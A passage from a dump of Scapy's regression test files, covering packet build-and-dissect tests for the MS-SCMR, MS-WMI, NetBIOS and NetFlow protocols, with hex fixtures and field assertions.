pkt.status == 0\nassert pkt.lpBuffer.value[4:].decode(\"utf-16le\").rstrip(\"\\x00\") == \"Provides facilities for managing UWP apps access to app capabilities as well as checking an app's access to specific app capabilities\"\n\n= [MS-SCMR] - Dissect RQueryServiceConfigW_Response\n\nDATA = bytes.fromhex('200000000200000001000000000002000400020000000000080002000c0002001000020030000000000000003000000043003a005c00570049004e0044004f00570053005c00730079007300740065006d00330032005c0073007600630068006f00730074002e0065007800650020002d006b0020006f007300700072006900760061006300790020002d0070000000010000000000000001000000000000002e000000000000002e000000720070006300730073002f00730074006100740065007200650070006f007300690074006f00720079002f0043006f00720065004d006500730073006100670069006e0067005200650067006900730074007200610072002f0000000c000000000000000c0000004c006f00630061006c00530079007300740065006d0000002200000000000000220000004300610070006100620069006c00690074007900200041006300630065007300730020004d0061006e0061006700650072002000530065007200760069006300650000007e01000000000000')\npkt = RQueryServiceConfigW_Response(DATA, ndr64=False)\nassert pkt.status == 0\nassert pkt.pcbBytesNeeded == 382\nassert pkt.lpServiceConfig.dwServiceType == 32\nassert pkt.lpServiceConfig.dwErrorControl == 1\nassert pkt.lpServiceConfig.valueof(\"lpBinaryPathName\") == b'C:\\\\WINDOWS\\\\system32\\\\svchost.exe -k osprivacy -p'\nassert pkt.lpServiceConfig.valueof(\"lpDependencies\") == b'rpcss/staterepository/CoreMessagingRegistrar/'\nassert pkt.lpServiceConfig.valueof(\"lpDisplayName\") == b'Capability Access Manager Service'\n\n= [MS-SCMR] - Dissect RCreateServiceW_Request\n\nDATA = bytes.fromhex('00000000dea1de2e22144844a5f5ea3948e8add905000000000000000500000074006500730074000000000000000000ff010f001000000003000000010000001c000000000000001c00000043003a005c00570069006e0064006f00770073005c00530079007300740065006d00330032005c0063006d0064002e00650078006500000000000000000000000000000000000000000000000000000000000000')\npkt = RCreateServiceW_Request(DATA, ndr64=False)\nassert pkt.valueof(\"lpServiceName\") == b\"test\"\nassert pkt.dwDesiredAccess == 983551\nassert pkt.dwStartType == 3\nassert pkt.dwServiceType == 16\nassert pkt.dwErrorControl == 1\nassert pkt.valueof(\"lpBinaryPathName\") == b\"C:\\\\Windows\\\\System32\\\\cmd.exe\"\nassert pkt.lpDisplayName is None\nassert pkt.dwPwSize == 0\n\n= [MS-SCMR] - Re-Build RCreateServiceW_Request\n\npkt = RCreateServiceW_Request(\n    hSCManager=NDRContextHandle(uuid=b'\\xde\\xa1\\xde.\"\\x14HD\\xa5\\xf5\\xea9H\\xe8\\xad\\xd9'),\n    lpServiceName=b\"test\",\n    dwDesiredAccess=983551,\n    dwServiceType=16,\n    dwStartType=3,\n    dwErrorControl=1,\n    lpBinaryPathName=b\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n    ndr64=False,\n)\nassert bytes(pkt) == DATA\n\n= [MS-SCMR] - Dissect RCreateServiceW_Request - with lpDisplayName\n\nDATA = bytes.fromhex('00000000dcf903ed9e7b604ca9971ce8d0938b2405000000000000000500000074006500730074000000000000000200050000000000000005000000740065007300740000000000ff010f001000000003000000010000001c000000000000001c00000043003a005c00570069006e0064006f00770073005c00530079007300740065006d00330032005c0063006d0064002e00650078006500000000000000000000000000000000000000000000000000000000000000')\npkt = RCreateServiceW_Request(DATA, ndr64=False)\nassert pkt.valueof(\"lpServiceName\") == b\"test\"\nassert pkt.dwDesiredAccess == 983551\nassert pkt.dwStartType == 3\nassert pkt.dwServiceType == 16\nassert pkt.dwErrorControl == 1\nassert pkt.valueof(\"lpBinaryPathName\") == b\"C:\\\\Windows\\\\System32\\\\cmd.exe\"\nassert pkt.lpDisplayName.referent_id == 0x20000\nassert pkt.valueof(\"lpDisplayName\") == b\"test\"\nassert pkt.dwPwSize == 0\n\n= [MS-SCMR] - Build RCreateServiceW_Request - with lpDisplayName\n\npkt = RCreateServiceW_Request(\n    hSCManager=NDRContextHandle(uuid=b'\\xdc\\xf9\\x03\\xed\\x9e{`L\\xa9\\x97\\x1c\\xe8\\xd0\\x93\\x8b$'),\n    lpServiceName=b\"test\",\n    lpDisplayName=b\"test\",\n    dwDesiredAccess=983551,\n    dwServiceType=16,\n    dwStartType=3,\n    dwErrorControl=1,\n    lpBinaryPathName=b\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n    ndr64=False,\n)\nassert bytes(pkt) == DATA\n"
  },
  {
    "path": "test/scapy/layers/msrpce/mswmi.uts",
    "content": "% MS-WMI Tests\n~ needs_py38plus\n\n+ [MS-WMI] build and dissection tests\n\n* To work scapy-rpc extension must be installed\n\n= [MS-WMI] - Import [MS-WMI]\n\nfrom scapy.config import conf\nconf.exts.load(\"scapy-rpc\")\nfrom scapy.layers.msrpce.raw.ms_wmi import *\n\n= [MS-WMI] - Build ExecQuery_Request\n\nlang = \"WQL\\0\"\nquery = \"SELECT Name FROM Win32_OperatingSystem\\0\"\n\npkt = ExecQuery_Request(\n    strQueryLanguage=NDRPointer(\n        referent_id=0x72657355,\n        value=FLAGGED_WORD_BLOB(\n            max_count=len(lang),\n            cBytes=len(lang) * 2,\n            clSize=len(lang),\n            asData=lang.encode(\"utf-16le\"),\n        ),\n    ),\n    strQuery=NDRPointer(\n        referent_id=0x72657356,\n        value=FLAGGED_WORD_BLOB(\n            max_count=len(query),\n            cBytes=len(query) * 2,\n            clSize=len(query),\n            asData=query.encode(\"utf-16le\"),\n        ),\n    ),\n    ndr64=False\n)\n\nassert bytes(pkt) == b\"User\\x04\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x04\\x00\\x00\\x00W\\x00Q\\x00L\\x00\\x00\\x00Vser'\\x00\\x00\\x00N\\x00\\x00\\x00'\\x00\\x00\\x00S\\x00E\\x00L\\x00E\\x00C\\x00T\\x00 \\x00N\\x00a\\x00m\\x00e\\x00 \\x00F\\x00R\\x00O\\x00M\\x00 \\x00W\\x00i\\x00n\\x003\\x002\\x00_\\x00O\\x00p\\x00e\\x00r\\x00a\\x00t\\x00i\\x00n\\x00g\\x00S\\x00y\\x00s\\x00t\\x00e\\x00m\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\n= [MS-WMI] - Dissect ExecQuery_Response\n\npkt=ExecQuery_Response(\n    b'\\x00\\x00\\x02\\x00\\xb6\\x00\\x00\\x00\\xb6\\x00\\x00\\x00MEOW\\x01\\x00\\x00\\x00\\xe1Gy\\x021\\xd7\\xce\\x11\\xa3W\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x05\\x00\\x00\\x00\\xe5M-e\\x07^\\xb40\\xf9\\xed\\xa57\\xb2\\x97\\x0e7\\x03\\xd8\\x02\\x00,\\x01\\x00\\x00\\x15\\xfe\\x86\\xdf\\x03\\xd6o\\x0f9\\x00#\\x00\\x07\\x00W\\x00I\\x00N\\x00-\\x008\\x00K\\x001\\x005\\x00V\\x00K\\x00V\\x002\\x004\\x00S\\x00G\\x00\\x00\\x00\\x07\\x001\\x009\\x002\\x00.\\x001\\x006\\x008\\x00.\\x001\\x000\\x000\\x00.\\x001\\x000\\x000\\x00\\x00\\x00\\x00\\x00\\t\\x00\\xff\\xff\\x00\\x00\\x1e\\x00\\xff\\xff\\x00\\x00\\x10\\x00\\xff\\xff\\x00\\x00\\n\\x00\\xff\\xff\\x00\\x00\\x16\\x00\\xff\\xff\\x00\\x00\\x1f\\x00\\xff\\xff\\x00\\x00\\x0e\\x00\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00',\n    ndr64=False\n)\n\nstatus = pkt.valueof(\"status\")\nassert status == 0x0\n"
  },
  {
    "path": "test/scapy/layers/netbios.uts",
    "content": "% NETBIOS regression tests for Scapy\n\n# More information at http://www.secdev.org/projects/UTscapy/\n\n############\n############\n+ Netbios tests\n\n= NBNSQueryRequest - build & dissect\n\nz = NBNSHeader()/NBNSQueryRequest(SUFFIX=\"file server service\", QUESTION_NAME='TEST1', QUESTION_TYPE='NB')\n\nassert raw(z) == b'\\x00\\x00\\x01\\x10\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00 FEEFFDFEDBCACACACACACACACACACACA\\x00\\x00 \\x00\\x01'\n\npkt = IP(dst='192.168.0.255')/UDP(sport=137, dport='netbios_ns')/z\npkt = IP(raw(pkt))\nassert pkt.QUESTION_NAME == b'TEST1'\nassert pkt[NBNSQueryRequest].mysummary() == r\"NBNSQueryRequest who has '\\\\TEST1'\"\n\nassert NBNSQueryRequest in NBNSHeader(raw(z))\n\nz = NBNSQueryRequest(b' PPCACACACACACACACACACACACACACAAA\\x00\\x00 \\x00\\x01')\nassert z.mysummary() == r\"NBNSQueryRequest who has '\\\\\\xff'\"\n\n= NBNSQueryResponse - build & dissect\n\nz = NBNSHeader()/NBNSQueryResponse(RR_NAME=\"FRED\", ADDR_ENTRY=[NBNS_ADD_ENTRY(NB_ADDRESS=\"192.168.0.13\")])\n\nassert raw(z) == b'\\x00\\x00\\x85\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00 EGFCEFEECACACACACACACACACACACAAA\\x00\\x00 \\x00\\x01\\x00\\x04\\x93\\xe0\\x00\\x06\\x00\\x00\\xc0\\xa8\\x00\\r'\npkt = NBNSHeader(raw(z))\nassert NBNSQueryResponse in pkt\nassert pkt.ADDR_ENTRY[0].NB_ADDRESS == \"192.168.0.13\"\nassert pkt[NBNSQueryResponse].mysummary() == r\"NBNSQueryResponse '\\\\FRED' is at 192.168.0.13\"\n\nz = NBNSQueryResponse(b' PPFCEFEECACACACACACACACACACACAAA\\x00\\x00 \\x00\\x01\\x00\\x04\\x93\\xe0\\x00\\x06\\x00\\x00\\xc0\\xa8\\x00\\r')\nassert z.mysummary() == r\"NBNSQueryResponse '\\\\\\xffRED' is at 192.168.0.13\"\n\nz = NBNSHeader(b'/S\\x85\\x80\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00 FAEPFEEBFEEPCACACACACACACACACAAA\\x00\\x00 \\x00\\x01\\x00\\x03\\xf4\\x80\\x00\\x06\\x00\\x00\\xc0\\xa8\\x01A')\nassert z.RR_NAME == b'POTATO'\nassert z.ADDR_ENTRY[0].G == 0\nassert z.ADDR_ENTRY[0].NB_ADDRESS == \"192.168.1.65\"\n\n= NBNSQueryResponse answers NBNSQueryRequest\n\nreq = IP(ihl=5, len=78, proto=17, chksum=8562, src='172.19.0.7', dst='172.19.0.255')/UDP(sport=137, dport=137, len=58, chksum=62101)/NBNSHeader(NM_FLAGS=17, QDCOUNT=1)/NBNSQueryRequest(QUESTION_NAME=b'Loremipsumdolor', SUFFIX=17217)\nresp = IP(b'E\\x00\\x00Zn\\xab@\\x00@\\x11s\\xb5\\xac\\x13\\x00\\x05\\xac\\x13\\x00\\x07\\x00\\x89\\x00\\x89\\x00FX\\x8a\\x00\\x00\\x85\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00 EMGPHCGFGNGJHAHDHFGNGEGPGMGPHCCA\\x00\\x00 \\x00\\x01\\x00\\x00\\x00\\xa5\\x00\\x06\\x00\\x00\\xac\\x13\\x00\\x05')\n\ntry:\n    conf.checkIPaddr = True\n    assert not resp.answers(req)\n    conf.checkIPaddr = False\n    assert resp.answers(req)\nfinally:\n    conf.checkIPaddr = True\n\n= NBNSQueryResponse answers long NBNSQueryRequest\n\nreq = IP(ihl=5, len=78, proto=17, chksum=8562, src='172.19.0.7', dst='172.19.0.255')/UDP(sport=137, dport=137, len=58, chksum=62101)/NBNSHeader(NM_FLAGS=17, QDCOUNT=1)/NBNSQueryRequest(QUESTION_NAME=b'Loremipsumdolorsitamet', SUFFIX=17217)\nresp = IP(b'E\\x00\\x00Zn\\xab@\\x00@\\x11s\\xb5\\xac\\x13\\x00\\x05\\xac\\x13\\x00\\x07\\x00\\x89\\x00\\x89\\x00FX\\x8a\\x00\\x00\\x85\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00 EMGPHCGFGNGJHAHDHFGNGEGPGMGPHCCA\\x00\\x00 \\x00\\x01\\x00\\x00\\x00\\xa5\\x00\\x06\\x00\\x00\\xac\\x13\\x00\\x05')\n\ntry:\n    conf.checkIPaddr = True\n    assert not resp.answers(req)\n    conf.checkIPaddr = False\n    assert resp.answers(req)\nfinally:\n    conf.checkIPaddr = True\n\n= NBNSNodeStatusResponse - build & dissect\n\nz = NBNSHeader()/NBNSNodeStatusResponse(NODE_NAME=[NBNSNodeStatusResponseService(NETBIOS_NAME=\"WINDOWS\")], MAC_ADDRESS=\"aa:aa:aa:aa:aa:aa\")\nassert raw(z) == b'\\x00\\x00\\x84\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00 HHGJGOGEGPHHHDCACACACACACACACAAA\\x00\\x00!\\x00\\x01\\x00\\x00\\x00\\x00\\x00S\\x01WINDOWS\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\npkt = NBNSHeader(raw(z))\nassert pkt.NODE_NAME[0].NETBIOS_NAME == b'WINDOWS\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\nassert NBNSNodeStatusResponse in pkt\n\n= NBNSNodeStatusRequest - build and answers\n\npkt = UDP()/NBNSHeader()/NBNSNodeStatusRequest()\nassert raw(pkt.payload) == b'\\x00\\x00\\x00\\x10\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00 CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\x00\\x00!\\x00\\x01'\nassert pkt[NBNSNodeStatusRequest].mysummary() == \"NBNSNodeStatusRequest who has '\\\\\\\\*\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\"\n\nresp = UDP(b'\\x00\\x89\\x00\\x89\\x00\\xc9v>\\x00\\x00\\x84\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00 CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\x00\\x00!\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x89\\x05DOMAIN         \\x00\\x84\\x00SRV1           \\x00\\x04\\x00DOMAIN         \\x1c\\x84\\x00SRV1            \\x04\\x00DOMAIN         \\x1b\\x04\\x00RT\\x00iX\\x13\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\nassert [x.NETBIOS_NAME.strip() for x in resp.NODE_NAME] == [b'DOMAIN', b'SRV1', b'DOMAIN', b'SRV1', b'DOMAIN']\nassert resp.answers(pkt)\n\nz = NBNSNodeStatusRequest(b' PPCACACACACACACACACACACACACACAAA\\x00\\x00!\\x00\\x01')\nassert z.mysummary() == r\"NBNSNodeStatusRequest who has '\\\\\\xff'\"\n\n= NBNSWackResponse - build & dissect\n\nz = NBNSHeader()/NBNSWackResponse(RR_NAME=\"SARAH\")\nassert raw(z) == b'\\x00\\x00\\xbc\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00 FDEBFCEBEICACACACACACACACACACAAA\\x00\\x00 \\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x02)\\x10'\npkt = NBNSHeader(raw(z))\nassert pkt[NBNSWackResponse].RR_NAME == b'SARAH'\n\n= NBTSession\n\nz = raw(TCP()/NBTSession())\nassert z == b'\\x00\\x8b\\x00\\x8b\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\nassert NBTSession in TCP(z)\n\n= OSS-Fuzz Findings\n\n# Note: the packet is corrupted\nwith no_debug_dissector():\n    raw_packet = b'E\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x05\\x00\\x00\\x00'\n    packet = NBNSQueryResponse(raw_packet)\n    assert packet.summary() == \"NBNSQueryResponse\"\n"
  },
  {
    "path": "test/scapy/layers/netflow.uts",
    "content": "% NetFlow regression tests for Scapy\n\n\n############\n############\n+ Netflow v5\n~ netflow\n\n= NetflowHeaderV5 - basic building\n\nraw(NetflowHeader()/NetflowHeaderV5()) == b'\\x00\\x05\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\nraw(NetflowHeaderV5(engineID=42)) == b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00*\\x00\\x00'\n\nraw(NetflowRecordV5(dst=\"192.168.0.1\")) == b'\\x7f\\x00\\x00\\x01\\xc0\\xa8\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00<\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\nraw(NetflowHeader()/NetflowHeaderV5(count=1)/NetflowRecordV5(dst=\"192.168.0.1\")) == b'\\x00\\x05\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x7f\\x00\\x00\\x01\\xc0\\xa8\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00<\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\nraw(NetflowHeader()/NetflowHeaderV5()/NetflowRecordV5(dst=\"192.168.0.1\")/NetflowRecordV5(dst=\"172.16.0.1\")) == b'\\x00\\x05\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x7f\\x00\\x00\\x01\\xc0\\xa8\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00<\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x7f\\x00\\x00\\x01\\xac\\x10\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00<\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n\n= NetflowHeaderV5 - UDP bindings\n\ns = raw(IP(src=\"127.0.0.1\")/UDP()/NetflowHeader()/NetflowHeaderV5())\nassert s == b'E\\x00\\x004\\x00\\x01\\x00\\x00@\\x11|\\xb6\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x08\\x07\\x08\\x07\\x00 \\xf1\\x98\\x00\\x05\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\npkt = IP(s)\nassert NetflowHeaderV5 in pkt\n\n= NetflowHeaderV5 - basic dissection\n\nnf5 = NetflowHeader(b'\\x00\\x05\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00<\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00<\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\nnf5.version == 5 and nf5[NetflowHeaderV5].count == 2 and isinstance(nf5[NetflowRecordV5].payload, NetflowRecordV5)\n\n############\n############\n+ Netflow v9\n~ netflow\n\n= NetflowV9 - advanced dissection\n\nimport os\nfilename = scapy_path(\"/test/pcaps/netflowv9.pcap\")\na = rdpcap(filename)\na = netflowv9_defragment(a)\n\nnfv9_fl = a[0]\nassert NetflowFlowsetV9 in nfv9_fl\nassert len(nfv9_fl.templates[0].template_fields) == 21\nassert nfv9_fl.templates[0].template_fields[1].fieldType == 12\n\nnfv9_ds = a[3]\nassert NetflowDataflowsetV9 in nfv9_ds\nassert len(nfv9_ds[NetflowDataflowsetV9].records) == 24\nassert nfv9_ds[NetflowDataflowsetV9].records[21].IP_PROTOCOL_VERSION == 4\nassert nfv9_ds.records[21].IPV4_SRC_ADDR == '20.0.0.248'\nassert nfv9_ds.records[21].IPV4_DST_ADDR == '30.0.0.248'\n\nnfv9_options_fl = a[1]\nassert NetflowOptionsFlowsetV9 in nfv9_options_fl\nassert isinstance(nfv9_options_fl[NetflowOptionsFlowsetV9].scopes[0], NetflowOptionsFlowsetScopeV9)\nassert isinstance(nfv9_options_fl[NetflowOptionsFlowsetV9].options[0], NetflowOptionsFlowsetOptionV9)\nassert nfv9_options_fl[NetflowOptionsFlowsetV9].options[0].optionFieldType == 36\n\nnfv9_options_ds = a[4]\nassert NetflowDataflowsetV9 in nfv9_options_ds\nassert isinstance(nfv9_options_ds.records[0], NetflowOptionsRecordScopeV9)\nassert nfv9_options_ds.records[0].IN_BYTES == 0x01000000\nassert nfv9_options_ds.records[1].SAMPLING_INTERVAL == 12\nassert nfv9_options_ds.records[1].SAMPLING_ALGORITHM == 0x2\n\n= NetflowV9 - Multiple FlowSets in one packet\n\nnfv9_multiple_flowsets = NetflowHeader(b'\\x00\\t\\x00\\x03\\x00\\x00K [F\\x17\\x97\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00H\\x04\\x00\\x00\\x10\\x00\\x08\\x00\\x04\\x00\\x0c\\x00\\x04\\x00\\x15\\x00\\x04\\x00\\x16\\x00\\x04\\x00\\x01\\x00\\x08\\x00\\x02\\x00\\x08\\x00\\n\\x00\\x04\\x00\\x0e\\x00\\x04\\x00\\x07\\x00\\x02\\x00\\x0b\\x00\\x02\\x00\\x04\\x00\\x01\\x00\\x06\\x00\\x01\\x00<\\x00\\x01\\x00\\x05\\x00\\x01\\x00 \\x00\\x02\\x00:\\x00\\x02\\x00\\x00\\x00L\\x08\\x00\\x00\\x11\\x00\\x1b\\x00\\x10\\x00\\x1c\\x00\\x10\\x00\\x1f\\x00\\x04\\x00\\x15\\x00\\x04\\x00\\x16\\x00\\x04\\x00\\x01\\x00\\x08\\x00\\x02\\x00\\x08\\x00\\n\\x00\\x04\\x00\\x0e\\x00\\x04\\x00\\x07\\x00\\x02\\x00\\x0b\\x00\\x02\\x00\\x04\\x00\\x01\\x00\\x06\\x00\\x01\\x00<\\x00\\x01\\x00\\x05\\x00\\x01\\x00 \\x00\\x02\\x00:\\x00\\x02\\x04\\x00\\x008\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x00\\x00\\x10\\xac\\x00\\x00\\x10\\x83\\x00\\x00\\x00\\x00\\x00\\x00\\x0b\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x002\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x005\\x005\\x11\\x00\\x04\\x00\\x00\\x00\\x00e')\nassert nfv9_multiple_flowsets.haslayer(NetflowFlowsetV9)\nassert nfv9_multiple_flowsets.haslayer(NetflowDataflowsetV9)\nnfv9_defrag = netflowv9_defragment(list(nfv9_multiple_flowsets))\nflowset1 = nfv9_defrag[0].getlayer(NetflowFlowsetV9, 1)\nassert flowset1.templates[0].template_fields[0].fieldType == 8\nassert flowset1.templates[0].template_fields[0].fieldLength == 4\nassert flowset1.templates[0].template_fields[5].fieldType == 2\nassert flowset1.templates[0].template_fields[5].fieldLength == 8\nflowset2 = nfv9_defrag[0].getlayer(NetflowFlowsetV9, 2)\nassert flowset2.templates[0].template_fields[0].fieldType == 27\nassert flowset2.templates[0].template_fields[0].fieldLength == 16\nassert flowset2.templates[0].template_fields[5].fieldType == 1\nassert flowset2.templates[0].template_fields[5].fieldLength == 8\nassert nfv9_defrag[0].getlayer(NetflowFlowsetV9, 2)\nassert nfv9_defrag[0].records[0].IP_PROTOCOL_VERSION == 4\nassert nfv9_defrag[0].records[0].PROTOCOL == 17\nassert nfv9_defrag[0].records[0].IPV4_SRC_ADDR == \"127.0.0.1\"\n\n= NetflowV9 - build and dissection\n~ netflow\n\nheader = Ether()/IP()/UDP()\nnetflow_header = NetflowHeader()/NetflowHeaderV9(unixSecs=0)\n\nflowset = NetflowFlowsetV9(\n    templates=[NetflowTemplateV9(\n        template_fields=[\n            NetflowTemplateFieldV9(fieldType=1, fieldLength=1),  # IN_BYTES\n            NetflowTemplateFieldV9(fieldType=2, fieldLength=4),  # IN_PKTS\n            NetflowTemplateFieldV9(fieldType=4),  # PROTOCOL\n            NetflowTemplateFieldV9(fieldType=8),  # IPV4_SRC_ADDR\n            NetflowTemplateFieldV9(fieldType=12),  # IPV4_DST_ADDR\n        ],\n        templateID=256,\n        fieldCount=5)\n    ],\n    flowSetID=0\n)\nrecordClass = GetNetflowRecordV9(flowset)\ndataFS = NetflowDataflowsetV9(\n    templateID=256,\n    records=[ # Some random data.\n        recordClass(\n            IN_BYTES=0x12,\n            IN_PKTS=0,\n            PROTOCOL=6,\n            IPV4_SRC_ADDR=\"192.168.0.10\",\n            IPV4_DST_ADDR=\"192.168.0.11\"\n        ),\n    ],\n)\n\npkt = netflow_header / flowset / dataFS\nassert raw(pkt) == b'\\x00\\t\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1c\\x01\\x00\\x00\\x05\\x00\\x01\\x00\\x01\\x00\\x02\\x00\\x04\\x00\\x04\\x00\\x01\\x00\\x08\\x00\\x04\\x00\\x0c\\x00\\x04\\x01\\x00\\x00\\x14\\x12\\x00\\x00\\x00\\x00\\x06\\xc0\\xa8\\x00\\n\\xc0\\xa8\\x00\\x0b\\x00\\x00'\n\npkt = header / netflow_header / flowset / dataFS\npkt = netflowv9_defragment(Ether(raw(pkt)))[0]\n\nassert NetflowDataflowsetV9 in pkt\nassert len(pkt[NetflowDataflowsetV9].records) == 1\nassert pkt[NetflowDataflowsetV9].records[0].IPV4_DST_ADDR == \"192.168.0.11\"\n\n= NetflowV9 - advanced build\n~ netflow\n\natm_time = 1547927349.328283\n\nheader = Ether(src=\"00:00:00:00:00:00\", dst=\"aa:aa:aa:aa:aa:aa\")/IP(dst=\"127.0.0.1\", src=\"127.0.0.1\")/UDP()/NetflowHeader()/NetflowHeaderV9(unixSecs=atm_time)\nflowset = NetflowFlowsetV9(templates=[NetflowTemplateV9(template_fields=[NetflowTemplateFieldV9(fieldType=8, fieldLength=4),NetflowTemplateFieldV9(fieldType=12, fieldLength=4),NetflowTemplateFieldV9(fieldType=5, fieldLength=1),NetflowTemplateFieldV9(fieldType=4, fieldLength=1),NetflowTemplateFieldV9(fieldType=7, fieldLength=2),NetflowTemplateFieldV9(fieldType=11, fieldLength=2),NetflowTemplateFieldV9(fieldType=32, fieldLength=2),NetflowTemplateFieldV9(fieldType=10, fieldLength=4),NetflowTemplateFieldV9(fieldType=16, fieldLength=4),NetflowTemplateFieldV9(fieldType=17, fieldLength=4),NetflowTemplateFieldV9(fieldType=18, fieldLength=4),NetflowTemplateFieldV9(fieldType=14, fieldLength=4),NetflowTemplateFieldV9(fieldType=1, fieldLength=4),NetflowTemplateFieldV9(fieldType=2, fieldLength=4),NetflowTemplateFieldV9(fieldType=22, fieldLength=4),NetflowTemplateFieldV9(fieldType=21, fieldLength=4),NetflowTemplateFieldV9(fieldType=15, fieldLength=4),NetflowTemplateFieldV9(fieldType=9, fieldLength=1),NetflowTemplateFieldV9(fieldType=13, fieldLength=1),NetflowTemplateFieldV9(fieldType=6, fieldLength=1),NetflowTemplateFieldV9(fieldType=60, fieldLength=1)], templateID=424, fieldCount=21)], flowSetID=0, length=92)\ndataflowset = 